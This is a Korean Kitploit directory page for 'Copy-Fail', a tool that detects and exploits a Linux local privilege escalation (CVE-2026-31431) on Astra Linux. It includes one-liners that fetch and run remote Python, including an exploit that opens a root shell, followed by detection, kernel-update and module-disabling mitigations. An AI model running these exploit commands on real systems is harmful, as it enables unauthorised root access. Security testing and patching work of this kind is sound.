Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Copy-Fail — CVE-2026-31431(Copy Fail) 로컬 권한 상승 취약점을 Astra Linux에서 탐지하고 악용하며, Python 3.7+ 호환성 및 원라이너 배포를 지원합니다. | Kitploit
도구/GitHubGitHub/p401a-ops/copy-fail
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration Testing
GitHubp401a-ops/copy-fail

Copy-Fail

CVE-2026-31431(Copy Fail) 로컬 권한 상승 취약점을 Astra Linux에서 탐지하고 악용하며, Python 3.7+ 호환성 및 원라이너 배포를 지원합니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431 "Copy Fail" - 로컬 권한 상승

Python 3.7+ 호환 버전 (Astra Linux 포함)

악용 없이 안전한 확인:

root@kitploit:~
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3

악용 (사용자 비밀번호를 입력하라는 메시지가 표시될 때)

root@kitploit:~
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell

이 버전의 익스플로잇

Python 3.7, 3.8, 3.9, 3.10, 3.11에 맞게 조정된 포크입니다. 원본 익스플로잇은 os.splice() 사용으로 인해 Python 3.12+가 필요합니다.

원본이 작동하지 않는 이유는 무엇인가요?

root@kitploit:~
# ❌ 원본 익스플로잇 (Python 3.12+ 전용)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'

이 포크에서 변경된 사항은 무엇인가요?

  • os.splice()에 대한 의존성 제거
  • Python 3.7+ 호환성 추가
  • 익스플로잇은 Astra Linux에서 테스트됨
  • 최신 배포판과의 호환성 유지
  • 간단한 one-liner 실행 추가

참고 사항

  • 시스템에 대한 로컬 액세스 필요
  • 시스템에 Python이 설치되어 있어야 함
  • Astra Linux CE/SE에서 검증됨
  • Python 3.12+ 없이 작동

###Astra Linux에서의 악용

취약점은 Astra Linux에서 검증되었습니다. algif_aead 모듈이 존재하며, 악용을 통해 sudo에 대한 액세스 권한을 얻고 root로 권한을 상승시킬 수 있습니다.

그러나 강제 접근 제어(MKD/Parsec)가 활성화된 경우 슈퍼관리자(레벨 63 / astra-admin 역할)가 되는 것은 불가능합니다: 강제 레이블은 root 프로세스의 권한까지 제한하며, 보안 정책은 설정된 기밀성 수준을 넘어서는 것을 허용하지 않습니다.

따라서: 🔴 MKD가 없거나 MKD가 비활성화된 Astra Linux 시스템 — 완전히 취약합니다. 🟡 MKD가 활성화된 시스템 — 부분적으로 보호됨: root 획득은 가능하지만 공격자의 실제 능력은 강제 정책에 의해 제한됩니다.

두 경우 모두 취약점이 발견되면 2번 또는 3번 항목의 조치를 적용하는 것이 필수입니다.

━━━━━━━━━━━━━━━

  1. 취약점 존재 여부 확인

각 서버에서 다음 명령을 실행해야 합니다. 이 명령은 시스템에 어떠한 변경도 가하지 않으며 취약한 모듈이 사용 가능한지만 확인합니다.

서버에 연결하여 한 줄로 실행:

python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** УЯЗВИМА **\n" + ""*30)'

🔴 화면에 УЯЗВИМА라는 단어가 나타나면 — 서버가 취약점에 노출된 것이므로 2번 항목으로 진행해야 합니다. 🟢 Python 오류 메시지가 나타나면 — 서버가 취약점에 노출되지 않은 것이므로 추가 조치가 필요 없습니다.

━━━━━━━━━━━━━━━ 2. 주요 해결책 — 커널 업데이트

커널을 수정 사항이 포함된 버전(6.18.22, 6.19.12 이상)으로 업데이트해야 합니다. 업데이트 시점까지 3번 항목의 모듈 비활성화가 보호를 제공합니다.

Debian / Ubuntu / Astra Linux의 경우:

apt-get update apt-get dist-upgrade reboot

재부팅 후 반드시 새 커널이 로드되었는지 확인하세요:

uname -r

명령이 6.18.22보다 낮은 버전을 표시하면 — 커널이 업데이트되지 않았거나 시스템이 이전 이미지로 부팅된 것입니다. 이 경우 업데이트가 설치되었는지(apt-get dist-upgrade가 오류 없이 완료되었는지) 확인하고 재부팅을 반복해야 합니다.

⚠️ Astra Linux 1.7.x: 업데이트가 출시될 때까지 유일한 보호 조치는 3번 항목의 모듈 비활성화입니다. 패치를 받으려면 개인 계정을 통해 Astra Linux 기술 지원에 문의하는 것이 좋습니다.

━━━━━━━━━━━━━━━ 3. 임시 보호 조치 — 취약한 모듈 비활성화

현재 커널 업데이트가 불가능한 경우 임시 조치로 취약한 모듈을 비활성화하는 것이 좋습니다. 이 작업은 재부팅이 필요 없으며 즉시 적용됩니다. 적용 전에 테스트 환경에서 변경 사항을 확인하는 것이 좋습니다: 드물게 일부 서비스가 이 모듈을 직접 사용할 수 있습니다.

모듈 비활성화 명령. root(또는 sudo를 통해)로 실행:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

첫 번째 명령은 이후 부팅 시 모듈 로드를 금지합니다. 두 번째 명령은 현재 로드된 경우 즉시 언로드합니다. 두 번째 명령의 오류는 정상입니다. 모듈이 이미 활성화되지 않았음을 의미합니다.

도구 다운로드